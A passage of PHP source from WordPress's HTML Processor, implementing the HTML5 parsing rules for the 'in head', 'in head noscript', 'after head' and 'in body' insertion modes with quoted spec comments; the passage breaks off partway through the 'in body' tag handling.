				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
